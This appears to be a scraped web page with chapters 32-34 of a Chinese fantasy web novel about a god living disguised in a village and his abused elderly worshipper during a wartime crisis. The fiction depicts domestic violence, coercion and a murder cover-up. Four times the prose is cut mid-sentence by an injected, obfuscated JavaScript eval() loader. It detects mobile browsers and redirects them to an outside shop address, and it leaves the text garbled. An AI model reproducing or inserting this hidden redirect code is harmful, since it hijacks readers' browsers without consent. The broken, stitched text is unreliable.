;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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白天的时候,不是做饭,就是干家务。 好不容易清闲了,刚想拜祭,贺平安就回来吃饭了。 不能让他看见,只好匆忙将小象收起来。 至于晚上的时候,她也是等他睡着了,才能偷偷拜祭。 实在是找不出避开他的时机了。 至于,贺平安口中的,她刚下他的床,就去找将军。 因为她并没有把做那种事,当成是什么重要的事一样,所以也就没有忌讳。 但她不知道,他这样忌讳。 原来,掠夺了她床上的时间还不够,还要掠夺上完床之后的时间。 可是除了这些时间之外,她还能有什么时间呢? 花祝年一边想着,一边努力地刷碗。 希望能快点将碗刷好,然后去拜一拜她的将军。 不知道昨晚有没有吓到他。 她还有话没说完呢,贺平安昨晚就突然冲了进来。 真是烦人! 鲁绒绒现在一有时间,就去观察着花祝年家的动静。 特别是贺平安出工去了,她更觉得要看紧一些。 鲁绒绒知道找一个干净的男人,在这个世道不算容易,可她还是想薛凡干干净净的。 就算跟人睡,也不能睡一个老大娘啊! 鲁绒绒盯着外面的时候,发觉花祝年洗完碗后,又舀着盆里的水泼了泼院子。 家里的小院子,虽然简朴,可是被她侍弄得好好的。 她在泼水的时候,又看到了被贺平安摁在地上时的那块地。 本来心里挺难受的,因为她真的想过,就这样躺在烂泥里死了算了。 可是,后生将她从泥坑里抱了出来。 她还坑了他两身新衣服穿。 就又觉得,生活好像多了几分希望。 贺平安也给她留下了买香烛的钱。 昨天晚上,虽然让她觉得很痛苦,可是仔细一想,她好像也并没有失去什么。 除了一些发泄情绪的眼泪。 花祝年是个心态还不错的人,想着这些美好的事,就从昨晚那块阴影之地上,平静地走了过去。 再强烈的暴风雨,最终都会过去的。 她一定能熬到将军封神。 不过话说,最近他怎么不给她托梦了? 之前,她特别绝望,特别想死的时候,他都会给她托梦,让她再坚持一下的。 将军说,让她坚持到,他封神的那天。 她这辈子没什么指望,那就努力地活到那天吧。 32. 我确实 在用刷碗水泼好院子后,花祝年将洗碗的大木盆刷了刷。 从菜园子里摘了些菜,丢进木盆里先泡着。 这样等做午饭的时候,会省很多时间,直接拿出来就能切。 鲁绒绒看着花祝年为这个家操劳。 刚做完了早饭,收拾好饭桌和院落,又要操劳午饭了。 不过,谁家不是这样的呢? 辛苦不是她在外面乱搞的理由,更不是她跟她抢男人的理由! 花祝年泡好菜后,又认真地洗了洗自己的手。 还放了些皂角叶。 洗完又放在鼻间闻了闻,确定没有饭菜油腻的味道后,才找出一块干净的手巾来擦了擦手。 鲁绒绒将这一切都看在眼里。 她看到花祝年枯如干姜一般的手,又低头看了看自己,不免发出一丝感叹。 几十年后,她的手应该也会变成这样吧。 不过,如果是给爱的人做饭,那她变成什么样都没关系。 况且,她听爹说,这后生是个有钱人,搞不好是官宦子弟。 或许,她嫁给他后,不用干活呢。 鲁绒绒看到花祝年擦完手后,居然去到了后生的房间。 她心中大惊! 早上她去她家的时候,他们说薛凡在睡觉。 现在呢?不会还在睡吧。 可是,花祝年进去做什么呢? 该不会是要对她的男人做什么不好的事吧。 鲁绒绒想起之前,花祝年让人绑住薛凡,还教唆她坐上去的事情,就觉得一阵后怕。 她立马放下手上正在纳的鞋底,急匆匆地从房间里跑了出去。 鲁大梁还在纳闷儿呢,女儿这么急,这是要去哪儿啊? 等他追出去一看,嗐,去邻居家啊。 这有什么可急的? 花祝年用干净的手,将柜子里的将军小像,捧了出来。 放到桌上,轻掀开红布。 衡羿躺在床上修养,虽是闭着眼睛,神识却关注着自己的小信徒。 花祝年虔诚地跪了下来。 “将军,昨晚上,吓到你了吧。我嫁的这个男人,性子就是这样急躁,你别跟他一般见识。不过,除了爱打人,他对我也很好的,从来没有少过我钱花。跟了他之后,我吃得好,穿得暖,也不再害怕这个动荡的乱世。你放心,我现在,挺好的。真的,挺好的。” 一滴泪从衡羿的眼角处流下。 他在天上看了她三十年,当然知道她过的是什么日子。 自然也清楚,小信徒为什么这样讲。 她怕她所信奉的神明,会为她迁怒于贺平安,到时候影响他自己飞升。 真是可笑啊! 她都没有见过那个小泥人显灵,却提前一步地设想他会为她迁怒于凡人。 衡羿始终都觉得他的小信徒,是个内心世界极为丰富的人。 就是哪怕得不到神明的任何回应,也会自己给自己想一个极好的回应。 她在幻想,自己被小泥人儿关心庇护着。 可实际上呢,他在天上,冷眼旁观了她三十年。 没有对她进行丝毫地帮助。 他哪里配得上她这样盛大而奇特的幻想呢? 自责愧疚蔓延至全身,心脏一抽一抽地疼。 但他还是努力控制着天气,不许出现一丝阴雨,因为他的小信徒不喜欢。 花祝年在说完这件事后,又想起昨晚没告解完的事。 “还有啊,昨天忘记讲了。就是,我的邻居鲁大梁,有个女儿叫鲁绒绒。不知道你还记不记得,她小的时候,有一次发烧,怎么也好不了,我带着她娘,过来拜了拜,三天后烧就退了。” “那是个很可爱的小姑娘,现在呢,也长大了。我想给她说个婆家。因为是乱世,择人不如撞人,刚好手头上就有个还不错的后生。我本来呢,是想让绒绒直接强了他,把生米煮成熟饭。可是他跑了,这事儿,弄得绒绒也挺尴尬的。她毕竟是女孩子,脸皮薄。” “要是换了我啊,当下可能就摁住上了,哪里给人逃跑的机会呢?在乱世,抢夺男人,跟抢夺粮食一样重要。但凡手软心软,那一家人就要饿肚子了。” 衡羿万万没想到,他的小信徒,还真是诚实。 居然连这种事,都告诉这个小泥人儿。 并且,丝毫不认为自己会受到责怪和惩罚。 她默认了将军能理解她。 而实际上,也是如此。 衡羿虽然被她气得回天上,窝窝囊囊地哭了一场。 可是,并没有对她降下任何惩罚。他甚至还为她找理由开脱。 小信徒有什么错呢? 只是,日子过得太绝望了。生怕鲁绒绒落到跟她一样的下场。 他想,当时她让鲁绒绒去强他的时候,心里应该是想弥补自己少时的遗憾吧。 他的小信徒,被岁月磋磨得强悍无比。 有时候,做事蛮横没有章法,也是可以理解的。 衡羿就这样轻易地原谅了花祝年。 花祝年微微叹气道:“我跟你说这些,也不怕你笑话我,一把年纪还干这种混蛋事。在这样的世道下,我不干又能怎么办呢?我不对别人混蛋,就有人要对绒绒混蛋了。” “主要是,我想求求你,能不能帮着撮合一下绒绒和那个后生?我是真的心疼她。流兵时不时都会来乡下抢一波,村子里的年轻女孩子都急着往外嫁。可是连年打仗,年轻力壮的都被抓去战场了,并没有特别适龄的男人。那些女孩儿啊,要么就嫁给人做妾,要么就嫁给特别老的,要么就嫁给特别小的。” “绒绒是我看着长大的,你说我能让她嫁给那样的人家吗?最近,我经常觉得睡觉很沉,有时候要硬逼着自己,才能起床。我猜想,可能是自身的大限就要到了。我很想在死前,看绒绒跟后生成亲。” “那个后生,是目前绒绒所能够到的还算不错的人了。就是,后生太轴了,怎么也不肯娶她。如果世界上,有那种把人迷得鬼迷心窍的药就好了。我先喂他一包,就不用在这里麻烦你了。” 衡羿:…… 他就躺在这里睡觉,小信徒谋害他的时候,真是不避着人啊。 花祝年说完之后,又五体投地,极为虔诚地叩拜那个小泥人儿。 别人叩拜,拜个三五次,就够了,可是花祝年却一直在拜。 拜得浑身冒汗,眼泪飞溅。 疯狂得不像样子。 仿佛要把所受到的委屈,通过一次次地叩拜,从骨子里全都甩出去一样。 她从来不会对他诉说任何委屈。 可是一直憋在心里,会憋疯,只能通过一些疯狂的动作,来排解情绪。 等发泄完了,就仿佛伤痛从未存在一样。 衡羿强撑着身体,从床上起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986900|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,走到她面前,想要将她扶起来。 可是自己还没有完全恢复好,神识不稳,直接栽去了她身上。 花祝年真是无妄之灾。 本来自己虔诚地拜得好好的,突然一个庞然大物就砸下来了。 她本来腰就不好,再被他这么一压,腰要断了。 花祝年侧趴在地上,看着自己身上的人,顿时气不打一处来:“你在这儿添什么乱?” 衡羿找不到很好的说辞,只能把贺平安搬出来。 “花、花大娘,贺大叔说,让我看着你,不让你拜小泥人儿。” 花祝年心里本来就很委屈,好不容易等贺平安出去了,她能好好拜拜将军,哪里想到还有他这么个眼线? 她用力地在他身上锤了一拳:“起开!” 衡羿是很想起来的,毕竟,这样的姿势也不太好看。 可是,他起不来。 正在他犹豫之际,突然闯进来一个人,一把将他从地上拎了起来。 鲁绒绒将衡羿甩去了床上,对着花祝年指责道:“你一把年纪了,怎么能做出这样的事?” 她从家里跑出来,就看到两个人叠在一起,要气死了! 花祝年刚刚被砸了一下,腰疼得要命,她扶着腰,想起都起不来。 只能从地上狼狈地翻了个身,趴在地上对鲁绒绒解释道:“不是,绒绒,不是你看到的那样。这后生有病,他是阻止我拜——” 她的话还没说完,鲁绒绒就走到衡羿面前,狠甩了他一巴掌。 “她年纪都能做你娘了,又是有夫之妇,你难道不知道吗?” 衡羿形神涣散,扶着床板支撑着自己的身体,轻声道:“我知道。” “那你还跟她搞在一起?” 花祝年正等着衡羿解释,没想到这孙子居然不吭声了。 她双拳锤地,暴躁道:“不是,你倒是说话啊!我什么时候跟你搞在一起了?” 衡羿为了拒绝鲁绒绒,看着花祝年说道:“我确实,爱慕花大娘。” 鲁绒绒之前还只是猜测,哪怕是看到昨晚那一幕,她都觉得是花祝年在勾引他。 甚至是,刚刚她闯进来,虽然讲话极为难听,但也是为了听一句否认的话。 可直到听见他亲口承认,她才意识到,她的猜测是对的。 他们就是搞一起去了! 鲁绒绒气得又甩了衡羿一巴掌:“不知羞耻的放荡男!你爱慕谁不好,偏偏爱慕她?亏你还饱读圣贤书,你书都读到哪里去了?书里让你勾搭有夫之妇,让你趁男主人不在家,把女主人摁在地上亲来亲去?” 花祝年听完要吓死了。 她揉着自己的腰,挣扎着从地上爬起来:“绒绒,这话可不能乱说啊。这孙子是故意骗你的,我怎么可能看得上他呢?” 鲁绒绒觉得花祝年真是不要脸! 都这种时候了,居然还跟她说看不上薛凡。 也不看看自己都一把年纪了,身材臃肿得像面团,头发灰白皱纹一大把,还有什么资格去挑别人? 情急之下,花祝年抱着小泥人儿,去到鲁绒绒面前。 对她好声哄道:“绒绒,你花婶儿年轻时候的品味,是这样儿的。他们俩差了十万八千里,我喜欢勇猛的战士,不喜欢动不动就昏倒的弱鸡。他刚刚是——” 鲁绒绒不等花祝年说完,直接抢过她的小泥人儿,用力地摔了下去。 33. 三界神魔都听任他差遣 花祝年生怕小泥人儿碎掉,直接扑过去用自己的身体接住。 小泥人儿倒是没摔坏,但是她摔散架了。 感觉四肢不是自己的,哪哪儿都疼。 鲁绒绒看见她那样呵护那个小泥人儿,眯着眼睛啐了她一口:“呸,恶心!快入土的年纪,还天天抱着少年模样的小像亲热。这村子里,谁不知道,你的将军,三十年前是犯上作乱被五马分尸的!” “他是个千古大罪人,就算你天天拜祭,把心都掏出来给他,他也不可能封神的。他甚至连胎都投不了,永远都是孤魂野鬼。” “我真是不明白,贺大叔有什么不好?他娶了你,真是倒了八辈子霉了。像你这样不安分的女人,精神出轨了大半辈子,老了老了还要身体出轨!跟你做邻居,我都要呕死了。” 鲁绒绒骂完后,哭着跑了出去。 花祝年抱着怀里的小像,眼神透着委屈和无助。 可即便如此,也还是把小像护得好好的,不让它受到一点损伤。 特别是,捂住了将军的眼睛和耳朵。 她不想他听见这些。 怕他难过,也怕他不再保佑绒绒和后生的婚事。 但她觉得,将军不是那样小气的人。 他应该能理解小女孩儿的愤怒。 少女在天真烂漫之际,是很容易对老大妈产生鄙夷的。 嘲笑她们走形的身材,看不上她们的市侩和算计,愤怒于她们的行为不端。 好像,老大妈是这个世界上,最让人讨厌的物种。 可是,少女从来没有想过,自己之所以可以天真浪漫,是因为有老大妈这样的人,为她挡住了一切黑暗。 花祝年确实是拿鲁绒绒当女儿看的。 她跟她妈妈一样爱护她。 之前,去镇上集市的时候,有不怀好意的醉鬼,从后面钻鲁绒绒的裆。 被花祝年用鞋底子把脸抽肿了不说,还沉甸甸地坐在他身上,口水纷飞地骂了对方一上午。 全程都在说醉鬼趁醉骚扰自己,没有提鲁绒绒一个字。 她知道,一旦提了,街上的人就会对鲁绒绒指指点点。 可是不揍这个醉鬼,她又觉得不甘心。 就将事情,全揽在了自己身上。 她已经是个老大妈了,什么清白不清白的。 只有她指指点点别人的份,没有人敢来指点她的。 在乱世,暴躁大妈是天真少女的终极进化形态。 每个从温婉到剽悍的人,一定经历了许多不为人道的事。 后来,贺平安知道花祝年在街上被醉鬼调戏,又拿着大砍刀去了醉鬼家里,将醉鬼暴打了一顿不说,还讹了对方一大笔钱。 哪怕醉鬼一直在求饶,说自己真没调戏老大妈。 钻的是那少女的裙摆。 可贺平安哪儿管那个,将对方打得鼻子和嘴巴都哗哗地流血。 后来,那个醉鬼再上街,哪怕没喝醉,都是大老远地躲着花祝年走。 那件事,并没有对鲁绒绒造成任何影响。 她仍旧和花祝年一起去集市。 鲁大梁的婆娘,也放心让她跟着花祝年。 毕竟,若是跟着自己,那天可能就忍了。她并不像花祝年那样暴躁剽悍,也并没有贺平安那样能打的男人。 衡羿在天上始终关注着花祝年的一切。 自然是知道鲁绒绒,是被花祝年守护着的。 就像长了一层坚硬的外壳,守护之前的自己一样。 他的小信徒,一直都很好。 衡羿上前将花祝年扶起来,可是一抹她肩膀才知道,她胳膊摔得脱臼了。 之前太过用力地护着小泥人儿,再加上在地上狠撞了一下。 人老了就是这样,身上的关节,都开始松动了。 “花大娘,你胳膊脱臼了,怎么不吭声啊?” 花祝年愣了几秒后,才慢吞吞地说道:“我吭声,又有什么用?还不是要等贺平安给我安。” 衡羿的目光沉了沉,其实之前,花祝年也有几次,被贺平安打到胳膊脱臼。 贺平安都是放任花祝年哭一会儿,才会给她安。 也不许她去找村医…… 所以,其实她对脱臼的感觉,应该是很熟悉的。 甚至,在刚倒下的时候,就知道胳膊脱臼了。 可她什么都没说,就只是抱着小象,在地上躺平忍耐着。 能解她燃眉之急的人,从来都是贺平安。 他只不过是个在天上,冷眼旁观了她三十年的神。 衡羿小心地去碰花祝年怀里的小泥人儿,被花祝年一嗓子吼了回来。 “你干嘛!” “先把将军放下来,我帮你正骨。” 花祝年嫌弃地看了看衡羿:“你这副病恹恹的样子,行吗?看你长得挺壮实,没想到虚成这样!刚才差点把我压死。” 衡羿恭敬地将花祝年怀里的小泥人儿接了过来,放到了一旁。 “行的。在家里,我娘也总脱臼,都是我给安的。” 花祝年想到衡羿的娘,忍不住叹气道:“你娘,为什么会总脱臼?” 衡羿思索道:“她,她总是干活,就容易脱臼。” “你家里,没有下人吗?” 花祝年记得自己年轻的时候,娘亲是从来不用干活的。 “有,但我娘闲不住。” 花祝年无奈地笑了笑:“哪有什么闲不住,都是被日子逼的。不然谁愿意干活?你也不知道帮着你娘干活!” 衡羿低头无奈地笑了笑,没说话。 如果衡羿没有被仙术反噬的话,几乎是摸到她的胳膊,就给她把骨头正好了。 可是,偏偏他因为施法弄晕贺平安,遭遇了天道的惩罚。 以至于,形神涣散,下手也没个准头。 他猛地将花祝年的胳膊,往上一按—— 没接上。 花祝年疼得瞬间眼泪掉了出来,一脚踹到了衡羿的大腿上。 “你到底会不会啊!” 说完就开始痛哭,哭的时候,一口气差点没喘上来。 喘了半口,疼得抽抽,又开始继续哭。 本来,如果他不强行给她治疗,她是能忍住的。 这跟二次伤害有什么区别! 衡羿刚才,的确手抖了一下,他也不知道自己怎么回事。 可能,可能是,太过心疼的缘故吧。 被踹了一脚的衡羿,小心地爬过去哄她道:“花大娘,我好久没弄了,手有点生,你就让我再试一次吧。这次,我肯定给你安好。” 花祝年哭得泣不成声,又是愤怒又是委屈,从胸腔中吼出了一个“滚”字。 衡羿的耳朵被震得生疼。 他不忍心她再这样哭下去,强行掰过她的胳膊,又按了一下。 这次花祝年直接嚷了出来 因为,他又没正过。 她疼得满头虚汗,连踹他的力气都没有了。 “后生,你是故意来折磨我的吧!因为我差点让绒绒上了你,你心怀怨恨,所以才这样报复我。” 衡羿连忙解释:“不不不,花大娘,那件事,我从没怪过你。真的,我理解你。我、我只是,唉……” 他也不知道今天怎么回事。 两次正骨都没正好,偏生让她挨了两遭罪。 “我带你去村医那里吧。” 衡羿愧疚得要死,说着就要上前抱她,又被花祝年踹了一脚。 “你要死啊?昨晚你贺大叔是睡着了,没看见。大白天,你就这么抱我出去,等他回来,我又要挨揍了。” 一般来讲,花祝年是很少对外讲自己被打的。 因为觉得丢脸。 但可能是今天,接连遇到让她痛苦的事,再加上她感觉这个后生,做事不管不顾的,情急之下,才讲了出来。 说出来之后,她又觉得很难堪。 打碎牙往肚子里咽,不是因为喜欢受委屈,而是不想让别人看不起自己。 虽说这后生,撞见过几次贺平安打她。 可是只要她不提起,那就可以装作他没看见。 她仍旧能靠着欺骗自己,如常地生活下去。 有些事,不挑到明面上来讲,对大家是都有好处的。 谁也不想把血肉,剖出来给人看。 衡羿一时不知道该说些什么。 如果换了寻常男人,肯定就要趁虚而入了。 对她说一通贺平安的不好,然后打着怜惜她的名义,开始对她动手动脚。 这世间的烂男人,就是这样的玩意儿。 从来不会真心地怜惜谁。 只会在想睡一个人的时候,流下几滴目的性的泪水。 可是衡羿不是世间的男人,他已经脱离了这种卑劣的属性。 因此,他的怜惜是真正的怜惜,是至高无上的神明对痴愚信徒的悲悯。 三界神魔都听任他差遣,可是,却没办法救一个凡人。 她本该是他的妻子,是他的皇后,而不是一个整日挨男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008312|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人打的山野村妇。 就在他愧疚之时,刚刚跑出去的鲁绒绒,又着急忙慌地跑了进来。 花祝年对鲁绒绒永远是看女儿一样的目光。 她欣喜于她的回来,想要对她解释,结果却只看到她满脸的泪水。 鲁绒绒跪下来哭着大喘气:“花、花婶儿,我——” 花祝年用剩下那只没脱臼的手,缓慢地顺着她的心口:“别着急,慢慢说。” “刚刚,我、我本来想回家,结果到门口看见,看见爹被抓走了。娘坐在门槛上哭,我不知道该怎么办,就过来找你了。” “谁抓走的?官差吗?” 鲁绒绒哭着摇头:“不是,是流兵。我看到,不只我爹被抓了,那天但凡参与过的,都被抓走了。还有流兵去了后山的林子里,不知道在找着什么。” 花祝年身形轻晃了一下。 按理说,无论是尸体还是现场,都处理得很干净,不太可能会被发现的。 再加上,他们都对过口供了,也想好了应对之策。 就算被查到了,如果实在逃不过,就一个人把整件事认下来。 死后,亲属由村子里的人照料。 绝不干背信弃义的事,把所有人招出来。 可是,如果那天参与的人接连被抓,那就只有一种可能,这群人里出了叛徒。 花祝年温柔地擦去鲁绒绒脸上的泪水。 其实,她自己也快支撑不住了。 可是必须装出稳定的样子,这样才不会给鲁绒绒制造紧张感。 “绒绒别怕,我跟你娘出去看看,到底是怎么回事。” 鲁绒绒担心道:“我跟你们一起去。” “你不能出去。你和后生,在家里好好待着,千万别出去。” 花祝年担心流兵会进来把鲁绒绒也带走。 这群不做人的玩意儿,现在什么做不出来呢? 花祝年摸着鲁绒绒的头,对她提醒道:“我出去的时候,会把窗户关好,把你们锁起来。如果有人在外面试探,你们两个都不要出声。” 鲁绒绒抱住花祝年:“花婶儿,我怕。” 她不想被流兵抢走,也不想随便嫁给什么人,就只想好好在家里待着。 为什么连这么小的愿望,上天都不能满足她呢? 花祝年拍了拍她的背:“没事的,有这后生保护你。他就是死,也会护着你的。” 衡羿忍不住开口道:“花大娘,我跟你一起出去打探情况吧。” 花祝年放开鲁绒绒,用那只尚好的胳膊,狠甩了衡羿一个耳光:“你想逃是不是?这都什么时候了,你还只顾着自己逃跑!那天你又没参与杀人,怕什么?” 衡羿被打后,倒也不觉得委屈。 他只是感受到了她手心的硬茧,像一只可怜的小狗一样,仰头看着生气的主人。 花祝年揪起衡羿的衣领,对他威胁道:“我告诉你,绒绒你给我护住了。你要是护不住,到时候我们就串供,说后山上的尸体都是你杀的。让你吃不了,兜着走,听见没!” 衡羿知道,他的小信徒,在生死关头时,一向凶狠。 这才是面对困难时该有的姿态。 他满目欣赏地仰视着她,可是下一秒又被他很好地隐藏起来,转为一种平静地淡漠。 可惜说出来的话,还是暴露了几分心底的情绪:“那你出去的时候,小心一些。” 花祝年阴狠地看着衡羿:“你少在这里假惺惺!你要是照顾不好绒绒,让她被人抢了去,回来我就宰了你!” 衡羿自动过滤了她的狠话,一心望着花祝年脱臼的胳膊,忍不住提醒她:“你去找村医看看吧。” 花祝年以为他是在嘲笑自己脱臼,扬起巴掌来就要打他。 想了想,还是算了。这会儿正用他呢,等不用他了再揍他。 她出门前,看了看地上的小像:“你帮我把将军包好,放回到柜子里。” 衡羿听话地照做。 坐在地上的鲁绒绒,看着这两个人之间的互动,内心酸涩难忍。 如果那晚她直接上了他,现在就不会担惊受怕成这样。 说不定,已经逼着他带她回家成亲了,哪里还会留在这个是非之地? 衡羿被反噬到浑身乏力,法术尽失,不知道什么时候才能恢复。 虽然给花祝年正骨,手上没准头正不好,不过帮她放个将军小像还是可以的。 可惜,他刚把小信徒的小泥人儿放进去,自己就被人勒住后颈,猛然间放倒在地上。 34. 你信不信 强行勒住他后颈的,是鲁绒绒柔软的裙带。 如果衡羿保持正常体力的话,是不会被一个小女孩儿这样轻易弄倒的。 可惜,他现在虚得不行。 花祝年拖拉着自己脱臼的胳膊,去到了鲁大梁家。 鲁大梁的婆娘正把头磕在门框上痛哭。 她的心不免揪了一下。 人只有在很无助的时候才会这样,不顾形象地把门框当做依靠。 那本来,是很羞耻的动作,还暗含着一些不明的意味。 花祝年还没有家道中落的时候,娘亲是不许她站在门口的。 无论是贴靠还是倚着,都会被娘亲拿竹竿抽打。 花祝年小时候不长记性,被娘亲打了很多次。 以至于,一看见门框,就下意识地远离。 后来,贺平安也打过她很多次,她都是宁愿躺在烂泥中,都不会靠在门框上。 娘说,岁月磋磨女人就算了,女人万不能自己磋磨自己。 自轻自贱。 只有不幸沦落风尘的女子,才会倚着门框,招揽客人。 若是风尘女子,倚着也就罢了,可若是大家闺秀,无论在任何时刻,都是断不能这样倚着的,让外人看见了,会因她而看轻整个花家。 这种看轻,并不是因为学几下风尘女子的样式,就会被认为同她们为伍。 而是风尘女,本就是如萍漂泊的可怜人,既然救不了人家,就不要学人家揽客的模样。 无论是有心还是无意,都不是富贵人家该有的姿态。 花祝年虽然没过好这大半生,落得个脾气暴躁言语市侩的模样,彻底沦为苦苦挣扎的底层。 可是,并没有全然丢了娘亲当日的教导。 哪怕是再难过,都不会倚着门哭。 门并不是她的依靠。 娘亲临死前,唯一放不下的就是她,弥留之际还对她反复叮嘱,宁可一辈子不嫁人,也不要随便找一个将就,千万别委屈了自己。 她是爹和娘在世时,用心守护的宝贝。 可在失去他们后,她就那样把自己给卖掉了。 这是让她感到很愧对娘亲的事。 花祝年现在的确是一个山野村妇,她的后半生并不符合爹娘对她的期望。 可是,骨子里的一些坚守,还是很难磨灭的。 她在任何艰难的时刻,都是周围老姐妹儿的支柱。 哪怕她自己的支柱,只是一个半灵不灵的小泥人儿。 鲁大梁的婆娘,哭得撕心裂肺。 她不知道自己和鲁大梁究竟做错了什么,就算杀了那些流兵,难道他们不该杀吗? 近些年的光景不好,可还是岁岁交粮,给朝廷纳军饷。 那群流兵吃百姓的,喝百姓的,不去打外贼,怎么还欺负起百姓来了? 女儿是她的命,他们要抢走她的命,这样的禽兽,怎么就不能杀? 她恨得牙痒痒。 可是极恨之后,就是极度的绝望。 她很清楚,如果是官差来抓人,那可能只是带去问话,咬死不承认的话,就还有转圜的余地。 官府里的人日子也不好过,并不会过度地偏袒流兵,也是想安稳过日子的人。 毕竟,把百姓逼反了,谁都没有好果子吃。 之前在别的地方,杀几个流兵,是常有的事,都是没怎么追究的。 可今天来抓人的,正是那群流兵。 他们是越过了官府查案,直接把人给带走了。 不知道还能不能活下来。 鲁大梁的婆娘,并非什么洞察世事的智者。 她只是从周围的人那里,看了太多这种事,所以觉得鲁大梁他们肯定是完了。 在乱世,男人就像看门狗,若是没了这条看门狗,不知道有多少人要上门欺辱。 受了欺辱还不能往外讲…… 鲁大梁的婆娘,从来没有像现在这样,理解那个走动都随手拎把菜刀的王寡妇。 她哭得也不全是鲁大梁要被杀这件事,也有她跟女儿的未来。 这个家,没有看门狗,怕是要完了。 花祝年扶着自己脱臼的胳膊,推开篱笆走了进去。 鲁大梁的婆娘现在虽然哭得一塌糊涂,可是听觉是极为敏感的。 草木皆兵,被吓怕了。 她立即抬起头来,看见进来的人是花祝年,才松了一口气。 花祝年心疼地喊了一声:“柳春。” 柳春是鲁大梁婆娘的名字。 生她的时候,正值春天,外面柳树刚刚发芽。 柳春家里跟鲁大梁起初也是门当户对。 遭遇乱世后,两家都败落了。 自从家里败落后,他们就来到了这里。 近十几年来,没什么人会喊她的名字。 花祝年这样突然一喊她,让她有种回到过去的感觉。 可是那样自在惬意的时光,已经不复存在了。 柳春把头从门框上移开,抱住花祝年粗壮的腰,就开始痛哭。 花祝年本来一只手在扶着胳膊,可为了安抚她,只能放下,任由脱臼的胳膊飘荡。 她轻抚着她的头说道:“柳春,别哭了,我们先去别家看看,有没有应对的办法?” 柳春哭得急切又委屈:“能怎么应对呢?她们跟我一样,都知道男人被流兵抓走,肯定是回不来了!” 花祝年今天的衣服是新换的,本来那后生是给他娘买的。 就这么被她给抢过来穿了。 可现在,在地上躺了一遭不说,还被柳春哭得皱皱巴巴的。 唉,可惜了这么好的衣服,跟着她受罪了。 花祝年虽然并不爱美,可是无论年轻还是年老,都很注重自己的着装是否整洁干净。 她就是老去,也想当一个干净清爽的老太太。 不想邋里邋遢的。 每次被贺平安按在地上打完,她起来的第一件事,也是拍拍自己身上的土。 明珠就是明珠,哪怕被埋在土里,也不会蒙尘。 花祝年的确是个老妇人,可是她从来没有因为老去,就不重视自己喜好和习惯。 她就是要干干净净,不沾一点尘埃地过完这一生。 花祝年单手托起柳春的脸:“别哭了!我衣服都给你哭脏了。” 若非这么说,柳春是停不下来的。 柳春听完花祝年的话,茫然了几秒后,又要靠回到门框上哭,却被花祝年一手挡住。 “你要是再这么哭下去,等天黑就只能给他们收尸了。” 柳春仰头擦了擦泪:“你有什么好办法吗?我都听你的。” 花祝年看了看自己的胳膊:“先去村医那儿,把我这胳膊接上再说。” 柳春是个心很软的人,她并不像花祝年那样坚强。 在意识到她胳膊脱臼后,突然变得无比愧疚起来。 “哎呀,我、我,你看我这,光顾着自己哭了,都没看出来你摘了胳膊了。” 说着就连忙站起来,小心地搀扶着她。 花祝年带着柳春一边往村医那边走,一边小声地跟她说:“绒绒在我家,有后生照顾着,别担心她。” 柳春泣声点头:“我把她也给忘了。那些流兵来抓人的时候,我都不知道该怎么办了。这种事,要么不查,一查就是杀一儆百的。被抓走的那些男人,肯定是回不来了!” “别自己吓自己。等他们真回不来,到时候再哭也不迟。” 尽管听起来,花祝年的话有些冷漠,可这正是做大事者的必备条件。 心不稳的人,无论在哪里,都是任人摆布的。 只有自己先稳定下来,才有那么几分机会去摆布别人。 村医两三下,就帮花祝年把胳膊接好了。 接好后,还关心地问她们几家的情况。 流兵被杀的事,虽然只有鲁大梁附近的几家动了手,可村子里的其他人却是都知晓的。 柳春是个心态不稳的人,一见有人关心,就忍不住哭。 还是花祝年赶在她开口前说道:“没什么。只是带过去问问话,过两天就放回来了。我们都是些小老百姓,哪能干杀人埋尸的事情?就是真干了,这么小的村子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025289|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的人能不知道?都知道了,还能不拦着?要是不拦,那就是共犯!到时候,大家无非是一起玩完。都完了好啊,这黄泉路上也有作伴的了。” 花祝年的话,把村医唬得一愣一愣的。 他也没想到自己不过是正个骨,怎么就要跟那犯事儿的几家,一起黄泉相伴了? “花嫂子啊,这事儿,我们可全不知情啊!只是听说,道听途说。其他的,一概不知。” 花祝年眸光微沉:“听说啥了?” 村医的婆娘,觉得气氛有些不妙,连忙上来打圆场:“能听说啥,还不是跟你说得一样嘛!就是把人弄过去问问话,过几天就放回来了。” 